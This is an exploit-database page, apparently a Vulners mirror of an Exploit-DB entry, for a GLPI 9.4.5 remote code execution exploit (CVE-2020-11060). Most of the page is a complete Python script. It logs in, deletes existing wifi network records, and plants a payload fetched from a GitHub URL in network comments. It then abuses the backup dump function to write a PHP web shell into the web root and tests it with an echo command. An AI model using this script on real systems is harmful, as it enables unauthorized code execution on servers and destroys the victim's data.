Lucene search
K

GLPI 9.4.5 - Remote Code Execution (RCE)

🗓️ 14 Jun 2021 00:00:00Reported by Brian PetersType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 208 Views

GLPI 9.4.5 Remote Code Execution (RCE). Exploit allows an attacker to execute remote code. SQL dump used to find table offset for "wifinetworks" and update offsettable value. Nix/Win paths based on defaults, can use curl -I <url> and md5sum to find path

Related
Code
ReporterTitlePublishedViews
Family
0day.today
GLPI 9.4.5 - Remote Code Execution Exploit
14 Jun 202100:00
zdt
0day.today
GLPI GZIP(Py3) 9.4.5 - Remote Code Execution Exploit
9 Oct 202300:00
zdt
GithubExploit
Exploit for Injection in Glpi-Project Glpi
11 Jun 202114:52
githubexploit
FreeBSD
glpi -- Remote Code Execution (RCE) via the backup functionality
30 Mar 202000:00
freebsd
Circl
CVE-2020-11060
12 May 202014:45
circl
CNVD
Teclib GLPI Injection Vulnerability
14 May 202000:00
cnvd
CVE
CVE-2020-11060
12 May 202019:30
cve
Cvelist
CVE-2020-11060 Remote Code Execution in GLPI
12 May 202019:30
cvelist
Exploit DB
GLPI GZIP(Py3) 9.4.5 - RCE
9 Oct 202300:00
exploitdb
EUVD
EUVD-2020-3437
7 Oct 202500:30
euvd
Rows per page
# Exploit Title: GLPI 9.4.5 - Remote Code Execution (RCE)
# Exploit Author: Brian Peters
# Vendor Homepage: https://glpi-project.org
# Software Link: https://github.com/glpi-project/glpi/releases
# Version: < 9.4.6
# CVE: CVE-2020-11060

# Download a SQL dump and find the table offset for "wifinetworks" with 
# cat <sqlfile> | grep "CREATE TABLE" | grep -n wifinetworks
# Update the offsettable value with this number in the create_dump function
# The Nix/Win paths are based on defaults. You can use curl -I <url> and use md5sum to find the path based
# on the Set-Cookie hash.

#!/usr/bin/python

import argparse
import json
import random
import re
import requests
import string
import sys
import time
from datetime import datetime
from lxml import html

class GlpiBrowser:
    
    def __init__(self, url, user, password, platform):
        self.url = url
        self.user = user
        self.password = password
        self.platform = platform
        
        self.session = requests.Session()
        self.session.verify = False
        requests.packages.urllib3.disable_warnings()
    
    def extract_csrf(self, html):
        return re.findall('name="_glpi_csrf_token" value="([a-f0-9]{32})"', html)[0]
    
    def get_login_data(self):
        r = self.session.get('{0}'.format(self.url), allow_redirects=True)
        
        csrf_token = self.extract_csrf(r.text)
        name_field = re.findall('name="(.*)" id="login_name"', r.text)[0]
        pass_field = re.findall('name="(.*)" id="login_password"', r.text)[0]
        
        return name_field, pass_field, csrf_token
    
    def login(self):
        try:
            name_field, pass_field, csrf_token = self.get_login_data()
        except Exception as e:
            print "[-] Login error: could not retrieve form data"
            sys.exit(1)
        
        data = {
            name_field: self.user, 
            pass_field: self.password,
            "auth": "local",
            "submit": "Post",
            "_glpi_csrf_token": csrf_token
        }
        
        r = self.session.post('{}/front/login.php'.format(self.url), data=data, allow_redirects=False)
        
        return r.status_code == 302
        
    def wipe_networks(self, padding, datemod):
        r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt')
        comment = r.content
        
        r = self.session.get('{0}/front/wifinetwork.php#modal_massaction_contentb5e83b3aa28f203595c34c5dbcea85c9'.format(self.url))
        try:
            csrf_token = self.extract_csrf(r.text)
        except Exception as e:
            print "[-] Edit network error: could not retrieve form data"
            sys.exit(1)
            
        webpage = html.fromstring(r.content)
        links = webpage.xpath('//a/@href')
        for rawlink in links:
            if "wifinetwork.form.php?id=" in rawlink:
        	rawlinkparts = rawlink.split("=")
        	networkid = rawlinkparts[-1]
        	print "Deleting network "+networkid
        	
        	data = {
        	    "entities_id": "0",
	            "is_recursive": "0",
        	    "name": "PoC",
        	    "comment": comment,
        	    "essid": "RCE"+padding,
        	    "mode": "ad-hoc",
		    "purge": "Delete permanently",
		    "id": networkid,
                    "_glpi_csrf_token": csrf_token,
                    '_read_date_mod': datemod
                }
        
                r = self.session.post('{}/front/wifinetwork.form.php'.format(self.url), data=data)
    
    def create_network(self, datemod):
        r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt')
        comment = r.content

        r = self.session.get('{0}/front/wifinetwork.php'.format(self.url))
        try:
            csrf_token = self.extract_csrf(r.text)
        except Exception as e:
            print "[-] Create network error: could not retrieve form data"
            sys.exit(1)
        
        data = {
	    "entities_id": "0",
	    "is_recursive": "0",
	    "name": "PoC",
	    "comment": comment,
	    "essid": "RCE",
	    "mode": "ad-hoc",
	    "add": "ADD",
            "_glpi_csrf_token": csrf_token,
            '_read_date_mod': datemod
        }
        
        r = self.session.post('{}/front/wifinetwork.form.php'.format(self.url), data=data)
        print "[+] Network created"
        print "      Name: PoC"
        print "      ESSID: RCE"
        
    def edit_network(self, padding, datemod):
        r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt')
        comment = r.content
        #create the padding for the name and essid
        
        
        r = self.session.get('{0}/front/wifinetwork.php'.format(self.url))
        webpage = html.fromstring(r.content)
        links = webpage.xpath('//a/@href')
        for rawlink in links:
            if "wifinetwork.form.php?id=" in rawlink:
                rawlinkparts = rawlink.split('/')
                link = rawlinkparts[-1]
                
                #edit the network name and essid
                r = self.session.get('{0}/front/{1}'.format(self.url, link))
                try:
            	    csrf_token = self.extract_csrf(r.text)
        	except Exception as e:
        	    print "[-] Edit network error: could not retrieve form data"
        	    sys.exit(1)
        	    
        	rawlinkparts = rawlink.split("=")
        	networkid = rawlinkparts[-1]
        	        	    
                data = {
        	    "entities_id": "0",
        	    "is_recursive": "0",
        	    "name": "PoC",
        	    "comment": comment,
        	    "essid": "RCE"+padding,
        	    "mode": "ad-hoc",
        	    "update": "Save",
        	    "id": networkid,
                    "_glpi_csrf_token": csrf_token,
                    "_read_date_mod": datemod
                }
                r = self.session.post('{0}/front/wifinetwork.form.php'.format(self.url), data=data)
                print "[+] Network mofified"
                print "      New ESSID: RCE"+padding
    
    def create_dump(self, shellname):
        path=''
        if self.platform == "Win":
            path="C:\\xampp\\htdocs\\pics\\"
        elif self.platform == "Nix":
            path="/var/www/html/glpi/pics/"
        
        #adjust offset number to match the table number for wifi_networks
        #this can be found by downloading a SQL dump and running cat <dumpname> | grep "CREATE TABLE" | grep -n "wifinetworks"
        r = self.session.get('{0}/front/backup.php?dump=dump&offsettable=312&fichier={1}{2}'.format(self.url, path, shellname))
        
        print '[+] Shell: {0}/pics/{1}'.format(self.url, shellname)
        
    def shell_check(self, shellname):
        r = self.session.get('{0}/pics/{1}?0=echo%20asdfasdfasdf'.format(self.url, shellname))
        print "      Shell size: "+str(len(r.content))
        if "asdfasdfasdf" in r.content:
            print "[+] RCE FOUND!"
            sys.exit(1)
        return len(r.content)
    
    def pwn(self):
        if not self.login():
            print "[-] Login error"
            return
        else:
            print "[+] Logged in"

	#create timestamp
	now = datetime.now()
	datemod = now.strftime("%Y-%m-%d %H:%M:%S")

        #create comment payload
        
        tick=1
	while True:
	    #create random shell name
            letters = string.ascii_letters
	    shellname = ''.join(random.choice(letters) for i in range(8))+".php"
	    
	    #create padding for ESSID
	    padding = ''
            for i in range(1,int(tick)+1):
                padding+=str(i)
	    
	    self.wipe_networks(padding, datemod)
	    self.create_network(datemod)
            self.edit_network(padding, datemod)            
            self.create_dump(shellname)
            self.shell_check(shellname)
	    print "\n"
            raw_input("Press any key to continue with the next iteration...")
            tick+=1

        return
        
if __name__ == '__main__':
    
    parser = argparse.ArgumentParser()
    parser.add_argument("--url", help="Target URL", required=True)
    parser.add_argument("--user", help="Username", required=True)
    parser.add_argument("--password", help="Password", required=True)
    parser.add_argument("--platform", help="Win/Nix", required=True)
    
    args = parser.parse_args()
    
    g = GlpiBrowser(args.url, user=args.user, password=args.password, platform=args.platform)
    
    g.pwn()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jun 2021 00:00Current
8.7High risk
Vulners AI Score8.7
CVSS 3.17.4 - 8.8
CVSS 29
EPSS0.07013
208